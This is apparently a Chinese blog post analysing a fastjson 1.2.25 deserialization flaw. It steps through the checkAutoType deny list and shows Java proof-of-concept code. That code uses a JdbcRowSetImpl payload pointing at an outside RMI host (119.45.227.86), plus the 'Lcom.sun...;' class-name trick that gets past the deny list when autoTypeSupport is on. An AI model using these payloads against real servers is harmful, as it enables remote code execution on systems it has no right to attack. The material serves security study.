从0开始fastjson漏洞分析3

  前面两篇文章分析了fastjson的两条利用链,他们分别是:

  (1)Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链

  (2)Fastjson 1.2.24 远程代码执行 JNDI && JdbcRowSetImpl利⽤链

  现在升级我们的fastjson版本到1.2.25:

  pom.xml:

     <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.25</version>
        </dependency>

  还是使用1.2.24的exp:

    

 public static void main(String[] args) throws ClassNotFoundException {
        Class.forName("com.sun.rowset.JdbcRowSetImpl");
        Class.forName("com.alibaba.fastjson.parser.DefaultJSONParser");
        String poc = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://119.45.227.86:123/Exploit","autoCommit":true}";
        JSON.parse(poc);
    }

  调试分析下:

    

  一直往下执行:

    

  发现这么一段代码:

    

 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        ref = lexer.scanSymbol(this.symbolTable, '"');
                        Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
                        if (clazz != null) {

  这在fastjson1.2.24上是没有的,会对我们输入json文本中解析的类进行检测,调用了checkAutoType函数:

  跟进:

    

  判断autoTypeSupport是否为真,这里不为真,直接往下走:

  

  这里autoTypeSupport是false,所以不走这里,直接走else:

  一步步往下执行:

    

  

 if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

  会遍历denyList数组数据:

      

["bsh", "com.mchange", "com.sun.", "java.lang.Threa...", "java.net.Socket", +17 more]

  所有黑名单列表,只要攻击者使用这些类,立马触发异常拦截

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"

  

其中包含了我们的com.sun,继续往下执行:

    

    

 if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }

  因为exp开头包含com.sun,所以直接提示autoType不支持

 

   所以在实战渗透中如果你一个exp过去,提示autoType is not support +classname,那么多半是你的恶意类触发黑名单了

  所以就需要去绕过:使用黑名单的方式,是非常不安全的,只要我们修改exp中的@type的value为[恶意字符串com恶意字符串.恶意字符串sun恶意字符串.rowset.JdbcRowSetImpl],这样startsWith就匹配不到了.

    

继续往下走:

   会进行判断:

  最后判断,如果autoTypeSupport是false,就说autoTyp不支持,白名单处理

    

  fastjson默认关闭autoTypeSupport..

    如果开启fastjson autoTypeSupport会怎么样?

    exploit:

      

package com.test.fastjson.Exploit_chain2;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class ExploitPoc {
    public static void main(String[] args) throws ClassNotFoundException {
        //设置AutoTypeSupport为真,默认AutoTypeSupport是fasle
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc ="{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://119.45.227.86:123/Exploit","autoCommit":true}";
        JSON.parse(poc);
    }
}

  重新debug下,进去:

    

  继续跟:

    

 

  把一整块代码贴出来:

    

 if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

    

  

    直接来到这里:
      

      进入TypeUtils.loadClass方法:

    

    

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {

    写个demo:

    

package com.test.fastjson.Exploit_chain2;

public class Test {
    public static void main(String[] args) {
        String className = "Lcom.sun.rowset.JdbcRowSetImpl;";
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            System.out.println(newClassName);
        }
    }
}

    

  当加载loadclass的时候会处理我们的calssname,我们前面type设置成Lcom.sun.rowset.JdbcRowSetImpl;

   即可绕过黑名单限制,从而达成命令执行

  结论:当setAutoTypeSupport为真的时候,可以绕过黑名单,否则无法攻击,除非在挖出一条新的利用链

  参考:phith0n fastjson绕过系列 

原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14780995.html